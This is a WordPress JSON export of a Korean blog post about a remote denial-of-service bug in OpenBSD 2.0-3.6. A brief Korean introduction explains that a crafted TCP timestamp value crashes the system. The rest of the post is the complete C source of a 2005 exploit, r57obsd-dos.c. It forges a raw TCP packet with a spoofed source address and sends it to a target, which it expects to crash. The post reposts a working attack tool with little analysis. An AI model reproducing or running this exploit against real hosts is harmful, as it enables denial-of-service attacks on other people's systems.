{"id":17,"date":"2010-04-17T17:20:31","date_gmt":"2010-04-18T02:20:31","guid":{"rendered":"\/blog\/?p=17"},"modified":"2023-09-21T09:41:25","modified_gmt":"2023-09-21T00:41:25","slug":"openbsd-2-0-3-6-%ec%9b%90%ea%b2%a9%eb%8f%84%ec%8a%a4%ea%b3%b5%ea%b2%a9-%ec%b7%a8%ec%95%bd%ec%a0%90","status":"publish","type":"post","link":"https:\/\/hasu0707.duckdns.org\/blog\/?p=17","title":{"rendered":"OpenBSD 2.0-3.6 \uc6d0\uaca9\ub3c4\uc2a4\uacf5\uaca9 \ucde8\uc57d\uc810"},"content":{"rendered":"\n<P><FONT face=verdana>2005\ub144 3\uc6d4 21\uc77c\uc5d0 \ubc1c\ud45c\ub41c \ucf54\ub4dc\ub85c <br \/>OpenBSD 2.0-3.6 \uc5d0 \uc788\ub294 DOS \uacf5\uaca9 \ucde8\uc57d\uc810\uc744 \uc774\uc6a9\ud574 \uacf5\uaca9\uc744 \uc2e4\ud589\ud558\ub294<\/FONT><\/P>\n<P><FONT face=Verdana>\ucf54\ub4dc \uc785\ub2c8\ub2e4. \uc704\ud5d8\ub3c4\ub294 \"\uc0c1\"\uae09\uc5d0 \uc18d\ud558\uace0 roman \uc774\ub77c\ub294 \uc0ac\ub78c\uc774<\/FONT><\/P>\n<P><FONT face=Verdana>\ub9cc\ub4e4\uc5c8\uc2b5\ub2c8\ub2e4.<\/FONT><\/P>\n<P>&nbsp;<\/P>\n<P><FONT face=Verdana>TCP Stack\uc5d0\uc11c \ubc1c\uacac\ub41c \uc774 \ubc84\uadf8\ub294 TCP TimeOut \ucc98\ub9ac\uc5d0\uc11c \ubc1c\uc0dd\ud558\ub294<\/FONT><\/P>\n<P><FONT face=Verdana>\uc720\ud6a8\ud558\uc9c0 \ubabb\ud55c \uc778\uc790\ub97c&nbsp; \ud5c8\ub77d\ud558\ub294\ub370\uc11c \uae30\uc778\ud558\uba70 TCP TimeStamp\uc5d0\uc11c<\/FONT><\/P>\n<P><FONT face=Verdana>\ud2b9\uc815\uac12\uc744 \uc804\uc1a1\ud568\uc73c\ub85c\uc368 \uc2dc\uc2a4\ud15c\uc744 \ub9c8\ube44\uc2dc\ud0ac \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/FONT><\/P>\n<P>&nbsp;<\/P>\n<P><FONT face=verdana>\ucd9c\ucc98: <\/FONT><a class=\"con_link\" href=\"http:\/\/rst.void.ru\/download\/r57obsd-dos.c\" target=\"_blank\" _cssquery_UID=\"50\" rel=\"noopener\"><FONT face=verdana>http:\/\/rst.void.ru\/download\/r57obsd-dos.c<\/FONT><\/A><\/P>\n<P>&nbsp;<\/P>\n<P><FONT face=verdana>#include &lt;stdio.h&gt;<br \/>#include &lt;ctype.h&gt;<br \/>#include &lt;sys\/socket.h&gt;<br \/>#include &lt;netinet\/in.h&gt;<br \/>#include &lt;netinet\/in_systm.h&gt;<br \/>#include &lt;netinet\/ip.h&gt;<br \/>#include &lt;netinet\/tcp.h&gt;<br \/>#include &lt;sysexits.h&gt;<br \/>#include &lt;stdlib.h&gt;<br \/>#include &lt;unistd.h&gt;<br \/>#include &lt;sys\/types.h&gt;<\/FONT><\/P>\n<P><FONT face=verdana>#ifndef TCPOPTLEN<br \/>&nbsp;#define TCPOPTLEN 12<br \/>#endif<br \/>#define UMASK 0xffff<br \/>#define TIMESTAMP 0x7b000000 \/\/ 123 in hex - change it, this will probably help<br \/>\/\/ <\/FONT><a class=\"con_link\" href=\"ftp:\/\/ftp.openbsd.org\/pub\/OpenBSD\/patches\/3.6\/common\/010_rtt.patch\" target=\"_blank\" rel=\"noopener\"><FONT face=verdana>ftp:\/\/ftp.openbsd.org\/pub\/OpenBSD\/patches\/3.6\/common\/010_rtt.patch<\/FONT><\/A><\/P>\n<P><FONT face=verdana>\/*<br \/>ANY MODIFIED REPUBLISHING IS RESTRICTED<br \/>OpenBSD 2.0 - 3.6 Remote DoS Exploit<br \/>Tested under OpenBSD 3.6 at OpenBSD 3.5\/3.6<br \/>Vuln by OpenBSD errata, <\/FONT><a class=\"con_link\" href=\"http:\/\/www.openbsd.org\/errata.html\" target=\"_blank\" rel=\"noopener\"><FONT face=verdana>http:\/\/www.openbsd.org\/errata.html<\/FONT><\/A><br \/><FONT face=verdana>(c)oded by __blf 2005 RusH Security Team, <\/FONT><a class=\"con_link\" href=\"http:\/\/rst.void.ru\/\" target=\"_blank\" rel=\"noopener\"><FONT face=verdana>http:\/\/rst.void.ru<\/FONT><\/A><br \/><FONT face=verdana>Public version - change TimeStamp to cause System Crash<br \/>Gr33tz: zZz, Phoenix, MishaSt, Inck-Vizitor, BlackPrince<br \/>Fuck lamerz: Saint_I, nmalykh, Mr.Clumsy, RooD aka MapycyA<br \/>All rights reserved.<br \/>ANY MODIFIED REPUBLISHING IS RESTRICTED<br \/>*\/<\/FONT><\/P>\n<P><FONT face=verdana>#define _BSD_SOURCE<\/FONT><\/P>\n<P><FONT face=verdana>u_short checksum(unsigned short * addr, int len)<br \/>{<br \/>&nbsp; &nbsp; u_int32_t cksum&nbsp; = 0;<br \/>&nbsp; &nbsp; while(len &gt; 0)<br \/>&nbsp; &nbsp; {<br \/>&nbsp; &nbsp; &nbsp; &nbsp; cksum += *addr++;<br \/>&nbsp; &nbsp; &nbsp; &nbsp; len -= 2;<br \/>&nbsp; &nbsp; }<br \/>&nbsp; &nbsp; if(len == 0)<br \/>&nbsp; &nbsp; {<br \/>&nbsp; &nbsp; &nbsp; &nbsp; cksum += *(u_char *)addr;<br \/>&nbsp; &nbsp; }<br \/>&nbsp; &nbsp; cksum = (cksum &gt;&gt; 16) + (cksum &amp; UMASK);<br \/>&nbsp; &nbsp; cksum = cksum + (cksum &gt;&gt; 16);<br \/>&nbsp; &nbsp; return (~cksum);<br \/>}<\/FONT><\/P>\n<P><FONT face=verdana>int main(int argc, char ** argv)<br \/>{<br \/>&nbsp; &nbsp; struct in_addr src, dst;<br \/>&nbsp; &nbsp; struct sockaddr_in sin;<br \/>&nbsp; &nbsp; struct ip * iph;<br \/>&nbsp; &nbsp; struct tcphdr * tcph;<br \/>&nbsp; &nbsp; struct _pseudoheader<br \/>&nbsp; &nbsp; {<br \/>&nbsp; &nbsp; &nbsp; &nbsp; struct in_addr src_addr;<br \/>&nbsp; &nbsp; &nbsp; &nbsp; struct in_addr dest_addr;<br \/>&nbsp; &nbsp; &nbsp; &nbsp; u_char zero;<br \/>&nbsp; &nbsp; &nbsp; &nbsp; u_char protocol;<br \/>&nbsp; &nbsp; &nbsp; &nbsp; u_short length;<br \/>&nbsp; &nbsp; }<br \/>&nbsp; &nbsp; pseudoheader;<br \/>&nbsp; &nbsp; u_char * packet;<br \/>&nbsp; &nbsp; u_char * pseudopacket;<br \/>&nbsp; &nbsp; int mysock;<br \/>&nbsp; &nbsp; int on = 1;<br \/>&nbsp; &nbsp; u_char * ts;<br \/>&nbsp; &nbsp; u_int32_t val = TIMESTAMP;<br \/>&nbsp; &nbsp; if( argc != 4)<br \/>&nbsp; &nbsp; {<br \/>&nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, \"r57obsd-dos.c by __blf\\n\");<br \/>&nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, \"RusH Security Team\\n\");<br \/>&nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, \"Usage: %s &lt;source ip&gt; &lt;dest ip&gt; &lt;dest port&gt;\\n\", argv[0]);<br \/>&nbsp; &nbsp; &nbsp; &nbsp; return EX_USAGE;<br \/>&nbsp; &nbsp; }<br \/>&nbsp; &nbsp; if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN)) == NULL)<br \/>&nbsp; &nbsp; {<br \/>&nbsp; &nbsp; &nbsp; &nbsp; perror(\"malloc\");<br \/>&nbsp; &nbsp; &nbsp; &nbsp; return EX_OSERR;<br \/>&nbsp; &nbsp; }<br \/>&nbsp; &nbsp; inet_aton(argv[1], &amp;src);<br \/>&nbsp; &nbsp; inet_aton(argv[2], &amp;dst);<br \/>&nbsp; &nbsp; iph = (struct ip *) packet;<br \/>&nbsp; &nbsp; iph-&gt;ip_v = IPVERSION;<br \/>&nbsp; &nbsp; iph-&gt;ip_hl = 5;<br \/>&nbsp; &nbsp; iph-&gt;ip_tos = 0;<br \/>&nbsp; &nbsp; iph-&gt;ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN);<br \/>&nbsp; &nbsp; iph-&gt;ip_off = htons(IP_DF);<br \/>&nbsp; &nbsp; iph-&gt;ip_ttl = 255;<br \/>&nbsp; &nbsp; iph-&gt;ip_p = IPPROTO_TCP;<br \/>&nbsp; &nbsp; iph-&gt;ip_sum = 0;<br \/>&nbsp; &nbsp; iph-&gt;ip_src = src;<br \/>&nbsp; &nbsp; iph-&gt;ip_dst = dst;<br \/>&nbsp; &nbsp; tcph = (struct tcphdr *)(packet +sizeof(struct ip));<br \/>&nbsp; &nbsp; tcph-&gt;th_sport = htons(rand()); \/\/ just random<br \/>&nbsp; &nbsp; tcph-&gt;th_dport = htons(atoi(argv[3]));<br \/>&nbsp; &nbsp; tcph-&gt;th_seq = htonl(rand());<br \/>&nbsp; &nbsp; tcph-&gt;th_ack = htonl(rand());<br \/>&nbsp; &nbsp; tcph-&gt;th_off = 5 + (TCPOPTLEN &gt;&gt; 2);<br \/>&nbsp; &nbsp; tcph-&gt;th_flags = TH_ACK;<br \/>&nbsp; &nbsp; tcph-&gt;th_win = htons(512);<br \/>&nbsp; &nbsp; tcph-&gt;th_urp = 0;<br \/>&nbsp; &nbsp; ts = (unsigned char *)(packet + sizeof(struct ip) + sizeof(struct tcphdr));<br \/>&nbsp; &nbsp; ts[0] = ts[1] = 1;<br \/>&nbsp; &nbsp; ts[2] = 8;<br \/>&nbsp; &nbsp; ts[3] = 10;<br \/>&nbsp; &nbsp; memcpy(ts+4, &amp;val, 4);<br \/>&nbsp; &nbsp; memset(ts+8, 0, 4);<br \/>&nbsp; &nbsp; pseudoheader.src_addr = src;<br \/>&nbsp; &nbsp; pseudoheader.dest_addr = dst;<br \/>&nbsp; &nbsp; pseudoheader.zero = 0;<br \/>&nbsp; &nbsp; pseudoheader.protocol = IPPROTO_TCP;<br \/>&nbsp; &nbsp; pseudoheader.length = htons(sizeof(struct tcphdr) + TCPOPTLEN);<br \/>&nbsp; &nbsp; if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr) + TCPOPTLEN)) == NULL)<br \/>&nbsp; &nbsp; {<br \/>&nbsp; &nbsp; &nbsp; &nbsp; perror(\"malloc()\");<br \/>&nbsp; &nbsp; &nbsp; &nbsp; return EX_OSERR;<br \/>&nbsp; &nbsp; }<br \/>&nbsp; &nbsp; memcpy(pseudopacket, &amp;pseudoheader, sizeof(pseudoheader));<br \/>&nbsp; &nbsp; memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr) + TCPOPTLEN);<br \/>&nbsp; &nbsp; tcph-&gt;th_sum = checksum((unsigned short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr) + TCPOPTLEN);<br \/>&nbsp; &nbsp; mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);<br \/>&nbsp; &nbsp; if(!mysock)<br \/>&nbsp; &nbsp; {<br \/>&nbsp; &nbsp; &nbsp; &nbsp; perror(\"socket!\\n\");<br \/>&nbsp; &nbsp; &nbsp; &nbsp; return EX_OSERR;<br \/>&nbsp; &nbsp; }<br \/>&nbsp; &nbsp; if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;on, sizeof(on)) == -1)<br \/>&nbsp; &nbsp; {<br \/>&nbsp; &nbsp; &nbsp; &nbsp; perror(\"setsockopt\");<br \/>&nbsp; &nbsp; &nbsp; &nbsp; shutdown(mysock, 2);<br \/>&nbsp; &nbsp; &nbsp; &nbsp; return EX_OSERR;<br \/>&nbsp; &nbsp; }<br \/>&nbsp; &nbsp; sin.sin_family = PF_INET;<br \/>&nbsp; &nbsp; sin.sin_addr = dst;<br \/>&nbsp; &nbsp; sin.sin_port = htons(atoi(argv[3])); \/\/ doesn't really matter<br \/>&nbsp; &nbsp; if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr) + TCPOPTLEN, 0, (struct sockaddr *)&amp;sin, sizeof(sin)) == -1)<br \/>&nbsp; &nbsp; {<br \/>&nbsp; &nbsp; &nbsp; &nbsp; perror(\"sendto()\\n\");<br \/>&nbsp; &nbsp; &nbsp; &nbsp; shutdown(mysock, 2);<br \/>&nbsp; &nbsp; &nbsp; &nbsp; return EX_NOHOST;<br \/>&nbsp; &nbsp; }<br \/>&nbsp; &nbsp; printf(\"Packet sent. Remote machine should crash.\\n\");<br \/>&nbsp; &nbsp; shutdown(mysock, 2);<br \/>&nbsp; &nbsp; return&nbsp; EX_OK;<br \/>}<br \/><\/FONT><\/P><FONT face=verdana>\n<P><FONT face=verdana>\ucc38\uace0: <a class=\"con_link\" href=\"http:\/\/blog.naver.com\/rainst?Redirect=Log&amp;logNo=11349292\" target=\"_blank\" rel=\"noopener\">http:\/\/blog.naver.com\/rainst?Redirect=Log&amp;logNo=11349292 \n<\/A><\/FONT>\n<\/FONT>\n","protected":false},"excerpt":{"rendered":"<p>2005\ub144 3\uc6d4 21\uc77c\uc5d0 \ubc1c\ud45c\ub41c \ucf54\ub4dc\ub85c OpenBSD 2.0-3.6 \uc5d0 \uc788\ub294 DOS \uacf5\uaca9 \ucde8\uc57d\uc810\uc744 \uc774\uc6a9\ud574 \uacf5\uaca9\uc744 \uc2e4\ud589\ud558\ub294 \ucf54\ub4dc \uc785\ub2c8\ub2e4. \uc704\ud5d8\ub3c4\ub294 &#8220;\uc0c1&#8221;\uae09\uc5d0 \uc18d\ud558\uace0 roman \uc774\ub77c\ub294 \uc0ac\ub78c\uc774 \ub9cc\ub4e4\uc5c8\uc2b5\ub2c8\ub2e4. &nbsp; TCP Stack\uc5d0\uc11c \ubc1c\uacac\ub41c \uc774 \ubc84\uadf8\ub294 TCP TimeOut \ucc98\ub9ac\uc5d0\uc11c \ubc1c\uc0dd\ud558\ub294 \uc720\ud6a8\ud558\uc9c0 \ubabb\ud55c \uc778\uc790\ub97c&nbsp; \ud5c8\ub77d\ud558\ub294\ub370\uc11c \uae30\uc778\ud558\uba70 TCP TimeStamp\uc5d0\uc11c \ud2b9\uc815\uac12\uc744 \uc804\uc1a1\ud568\uc73c\ub85c\uc368 \uc2dc\uc2a4\ud15c\uc744 \ub9c8\ube44\uc2dc\ud0ac \uc218 \uc788\uc2b5\ub2c8\ub2e4. &nbsp; \ucd9c\ucc98: http:\/\/rst.void.ru\/download\/r57obsd-dos.c &nbsp; #include &lt;stdio.h&gt;#include &lt;ctype.h&gt;#include &lt;sys\/socket.h&gt;#include [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_import_markdown_pro_load_document_selector":0,"_import_markdown_pro_submit_text_textarea":"","site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[39],"tags":[],"class_list":["post-17","post","type-post","status-publish","format-standard","hentry","category-os_linux_unix_macos"],"_links":{"self":[{"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/posts\/17","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=17"}],"version-history":[{"count":0,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/posts\/17\/revisions"}],"wp:attachment":[{"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=17"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=17"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=17"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}